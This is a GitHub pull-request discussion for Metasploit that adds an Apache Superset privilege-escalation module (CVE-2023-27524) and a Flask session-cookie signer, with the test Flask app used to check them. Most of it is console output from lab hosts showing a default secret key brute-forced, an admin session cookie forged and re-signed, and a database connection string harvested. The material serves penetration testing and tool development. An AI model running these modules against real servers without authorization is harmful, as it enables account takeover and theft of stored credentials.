-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library #18180
Conversation
Oh hey that's pretty nifty, nice work @h00die :) |
Haven't forgotten about this, its on my list, just needed to get the H2 module written, and have another one i'm working on before i'll get back to this. I was thinking of adding an aux module which you can give it a cookie or rhost. if you give it an rhost it'll go get a cookie and decode it. if you give it a cookie, it'll just decode it. Maybe a 3rd option to give an encoded cookie, and a decoded value (so we can replace and re-encrypt). Then we'll have full replication from the python equivalent! |
No longer RCE hunting, got too many modules queued up to spend time looking. Added a new genric module. Ready for review! |
Pulling this back to draft since the RCE portion is now public: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/ |
documentation/modules/auxiliary/gather/apache_superset_priv_esc.md
Outdated
Show resolved
Hide resolved
documentation/modules/auxiliary/gather/python_flask_cookie_signer.md
Outdated
Show resolved
Hide resolved
H00die/flask unsign
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I pushed up some minor changes to honor the escape sequences in the word list. This notably fixed the secret from the official Flask documentation.
apache_superset_cookie_sig_priv_esc Testing
msf6 auxiliary(gather/apache_superset_cookie_sig_priv_esc) > show options
Module options (auxiliary/gather/apache_superset_cookie_sig_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMIN_ID 1 yes The ID of an admin account
PASSWORD admin yes The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.128 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploi
t/basics/using-metasploit.html
RPORT 8088 yes The target port (TCP)
SECRET_KEYS_FILE /home/smcintyre/Repositories/metasploit no File containing secret keys to try, one per line
-framework.pr/data/wordlists/superset_s
ecret_keys.txt
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Relative URI of Apache Superset installation
USERNAME admin yes The username to authenticate as
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/apache_superset_cookie_sig_priv_esc) > run
[*] Running module against 192.168.159.128
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache Supset 2.0.0 is vulnerable
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiMzkwY2U3MjJkZDE2ZjRjZGZjYWQ5MWVmY2FkOWU3ZWNkOTNhNjA4YSIsImxvY2FsZSI6ImVuIn0.ZQDQfQ.2sKQctveWX1MB7FEBuEd9T-BEjQ;
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"390ce722dd16f4cdfcad91efcad9e7ecd93a608a", "locale"=>"en"}
[*] 192.168.159.128:8088 - Attempting login
[+] 192.168.159.128:8088 - Logged in Cookie: session=.eJwlj81qAzEMhN_F5z1ItizFeZlF1g8NCQ3sJqeSd69pTwMzfMPMT9nziPOrXF_HO7ay37xci9IFZhclIU6GdFHoRtbqcMllI9rUFBRWVmgOykPU5rBpPA2y9xgG0zMrMscClSYxKRmOmuDUNUcXy9UETXE0XhFVhFVZtmLnkfvreY_vtacNsJBa3ZGTzNPUB8afhIT5aMpw0cU9nqaPWMwCt_I-4_i_hOXzC8jORNk.ZQDQfg.AxL-luRo7b9cTF6sJEzuTTdTXdA;
[+] 192.168.159.128:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 192.168.159.128:8088 - Modified cookie: {"_fresh"=>true, "_id"=>"a480b57a4746f60fd7a05c4c329d7fa4711cbaf7176a6a03d0a697acb9cbc6bc0f55e9c0bdff2166e329a4b464a4c192f0d45af957cf1cb03a19364c142106a6", "csrf_token"=>"390ce722dd16f4cdfcad91efcad9e7ecd93a608a", "locale"=>"en", "user_id"=>1}
[*] 192.168.159.128:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 192.168.159.128:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImE0ODBiNTdhNDc0NmY2MGZkN2EwNWM0YzMyOWQ3ZmE0NzExY2JhZjcxNzZhNmEwM2QwYTY5N2FjYjljYmM2YmMwZjU1ZTljMGJkZmYyMTY2ZTMyOWE0YjQ2NGE0YzE5MmYwZDQ1YWY5NTdjZjFjYjAzYTE5MzY0YzE0MjEwNmE2IiwiY3NyZl90b2tlbiI6IjM5MGNlNzIyZGQxNmY0Y2RmY2FkOTFlZmNhZDllN2VjZDkzYTYwOGEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQDQfg.Wao9OieHHucfgUBzovDz80FMcQk
[+] 192.168.159.128:8088 - Cookie validated to user: admin
[+] Found PostgreSQL: postgresql://dbuser:[email protected]:15432/supersetdb
[*] Done enumerating databases
[*] Auxiliary module execution completed
msf6 auxiliary(gather/apache_superset_cookie_sig_priv_esc) >
python_flask_cookie_signer Testing
Apache Superset Target
msf6 auxiliary(gather/python_flask_cookie_signer) > show options
Module options (auxiliary/gather/python_flask_cookie_signer):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.128 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
RPORT 8088 yes The target port (TCP)
SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET yes The key with which to sign the cookie
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /login yes URI to browse
VHOST no HTTP server virtual host
When ACTION is Resign:
Name Current Setting Required Description
---- --------------- -------- -----------
NEWCOOKIECONTENT {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"} no Content of a cookie to sign
When ACTION is FindSecret:
Name Current Setting Required Description
---- --------------- -------- -----------
SECRET_KEYS_FILE /home/smcintyre/Repositories/metasploit-framework.pr/data/wordl no File containing secret keys to try, one per line
ists/flask_secret_keys.txt
Auxiliary action:
Name Description
---- -----------
Resign Resign the specified cookie data
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/python_flask_cookie_signer) > show actions
Auxiliary actions:
Name Description
---- -----------
FindSecret Brute force the secret key used to sign the cookie
=> Resign Resign the specified cookie data
Retrieve Retrieve a cookie from an HTTP(s) server
msf6 auxiliary(gather/python_flask_cookie_signer) > findsecret
[*] Running module against 192.168.159.128
[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiMjY3OTg4ZWI3Y2JlODE5ZmVjMDEyNmRkNTBmMDBjYzI4MDA2ZjVkZCIsImxvY2FsZSI6ImVuIn0.ZQDRSA.B9jTZ6Q0BvuxvsMYiJAsIdo8vnM
[+] 192.168.159.128:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
SECRET => CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve
[*] Running module against 192.168.159.128
[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiOWJhOGU0NTAxYmY4OWMzZjc0NDlkYWQ3MDczMjYzNWQ4YzdkZjk3YSIsImxvY2FsZSI6ImVuIn0.ZQDRWQ.742w9dW1eLghnWfBjnQmsdlOjVc
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"9ba8e4501bf89c3f7449dad70732635d8c7df97a", "locale"=>"en"}
[+] 192.168.159.128:8088 - Secret key "CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET" is correct.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET WRONG
SECRET => WRONG
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve
[*] Running module against 192.168.159.128
[*] 192.168.159.128:8088 - Retrieving Cookie
[*] 192.168.159.128:8088 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiYjVjNDI2ZGVlYTJiOWQxMWE4N2E1YzQ1ZTAzZjRlNjE5NzM3MzkyNiIsImxvY2FsZSI6ImVuIn0.ZQDRYA.lrb1TpTv1gNXEuU9uPq4UwyS4aU
[*] 192.168.159.128:8088 - Decoded Cookie: {"csrf_token"=>"b5c426deea2b9d11a87a5c45e03f4e6197373926", "locale"=>"en"}
[!] 192.168.159.128:8088 - Secret key "WRONG" is incorrect.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > resign
[*] Running module against 192.168.159.128
[*] Attempting to sign with key: WRONG
[+] 192.168.159.128:8088 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZQDRZQ.aI6aYIIA4g-6ftFvZNV7637uWH0
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) >
Default Flask App
from flask import Flask, session, redirect, url_for, request, make_response
from markupsafe import escape
import random, string
app = Flask(__name__)
# Set the secret key to some random bytes. Keep this really secret!
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
#app.secret_key = b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
@app.route('/')
def index():
if not 'csrf_token' in session:
session['csrf_token'] = ''.join(random.choices(string.ascii_lowercase, k=10))
if 'username' in session:
resp = make_response('Logged in as %s' % escape(session['username']))
else:
resp = make_response('You are not logged in')
if not request.cookies.get('CSRF'):
resp.set_cookie('CSRF', session['csrf_token'])
return resp
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
session['username'] = request.form['username']
return redirect(url_for('index'))
return '''
<form method="post">
<p><input type=text name=username>
<p><input type=submit value=Login>
</form>
'''
@app.route('/logout')
def logout():
# remove the username from the session if it's there
session.pop('username', None)
return redirect(url_for('index'))
msf6 auxiliary(gather/python_flask_cookie_signer) > show options
Module options (auxiliary/gather/python_flask_cookie_signer):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 5000 yes The target port (TCP)
SECRET WRONG yes The key with which to sign the cookie
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /login yes URI to browse
VHOST no HTTP server virtual host
When ACTION is Resign:
Name Current Setting Required Description
---- --------------- -------- -----------
NEWCOOKIECONTENT {"csrf_token"=>"08e51dd1f352d6790e6ab9b99dadd621602b9189", "locale"=>"fr"} no Content of a cookie to sign
When ACTION is FindSecret:
Name Current Setting Required Description
---- --------------- -------- -----------
SECRET_KEYS_FILE /home/smcintyre/Repositories/metasploit-framework.pr/data/wordl no File containing secret keys to try, one per line
ists/flask_secret_keys.txt
Auxiliary action:
Name Description
---- -----------
Resign Resign the specified cookie data
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/python_flask_cookie_signer) > show actions
Auxiliary actions:
Name Description
---- -----------
FindSecret Brute force the secret key used to sign the cookie
=> Resign Resign the specified cookie data
Retrieve Retrieve a cookie from an HTTP(s) server
msf6 auxiliary(gather/python_flask_cookie_signer) > findsecret
[*] Running module against 127.0.0.1
[*] 127.0.0.1:5000 - Retrieving Cookie
[-] Auxiliary aborted due to failure: unexpected-reply: 127.0.0.1:5000 - Response is missing the session cookie
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set TARGETURI /
TARGETURI => /
msf6 auxiliary(gather/python_flask_cookie_signer) > findsecret
[*] Running module against 127.0.0.1
[*] 127.0.0.1:5000 - Retrieving Cookie
[*] 127.0.0.1:5000 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoic3FleW9leGZnYiJ9.ZQDSQw.8AGawfJRZZjXLcuYjvvAcIteI3I
[+] 127.0.0.1:5000 - Found secret key: _5#y2L"F4Q8z\n\xec]/
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve
[*] Running module against 127.0.0.1
[*] 127.0.0.1:5000 - Retrieving Cookie
[*] 127.0.0.1:5000 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoiaHZsZHVybmlubCJ9.ZQDSTg.r0QAAlbnbTZ_mvW0VpviImI4KvI
[*] 127.0.0.1:5000 - Decoded Cookie: {"csrf_token"=>"hvldurninl"}
[!] 127.0.0.1:5000 - Secret key "WRONG" is incorrect.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > set SECRET '_5#y2L"F4Q8z\n\xec]/'
SECRET => _5#y2L"F4Q8z\n\xec]/
msf6 auxiliary(gather/python_flask_cookie_signer) > retrieve
[*] Running module against 127.0.0.1
[*] 127.0.0.1:5000 - Retrieving Cookie
[*] 127.0.0.1:5000 - Initial Cookie: session=eyJjc3JmX3Rva2VuIjoidWR3eGdxZHZ6aiJ9.ZQDSVw.7r3bmX7sIdOapKltvXVCkOhE9zQ
[*] 127.0.0.1:5000 - Decoded Cookie: {"csrf_token"=>"udwxgqdvzj"}
[+] 127.0.0.1:5000 - Secret key "_5#y2L\"F4Q8z\n\xEC]/" is correct.
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) > resign
[*] Running module against 127.0.0.1
[*] Attempting to sign with key: _5#y2L"F4Q8z\n\xec]/
[+] 127.0.0.1:5000 - New signed cookie: session=IntcImNzcmZfdG9rZW5cIj0-XCIwOGU1MWRkMWYzNTJkNjc5MGU2YWI5Yjk5ZGFkZDYyMTYwMmI5MTg5XCIsIFwibG9jYWxlXCI9PlwiZnJcIn0i.ZQDSWg.IyM1xFKff9Hleb3gx7v7XBAFW44
[*] Auxiliary module execution completed
msf6 auxiliary(gather/python_flask_cookie_signer) >
I also tested another Flask app that's using a different cookie library to ensure it didn't crash. I correctly fails with an error saying it can't decode the cookie.
Once the tests pass, I'll get this landed.
Release NotesThis adds two modules for targeting vulnerabilities related to the signing of Flask's session cookies. One of them exploits a vulnerability in Apache Superset which is identified as CVE-2023-27524. |
fixes #17939
This PR adds a new library written by @zeroSteiner which implements a Ruby version of the Flask unsign python project by @Paradoxis . All props go to @zeroSteiner for the work there, its great.
It then adds an exploit for Apache Supserset (CVE-2023-27524) where a user is able to decode the authenticated cookie, modify the
user_id
to be an admin's, and re-sign it. Then pilfer creds to databases that are stored. I'll no longer be hunting for the RCE, I have too many other modules I'm currently working on to spend the time looking.I've also included a generic module which can decode, and resign a cookie. It would be used against custom apps where you can view the source code and know the secret key. A little hard to document, so I just used the apache superset again.
Verification
use auxiliary/gather/apache_superset_priv_esc
set username [username]
set password [password]
run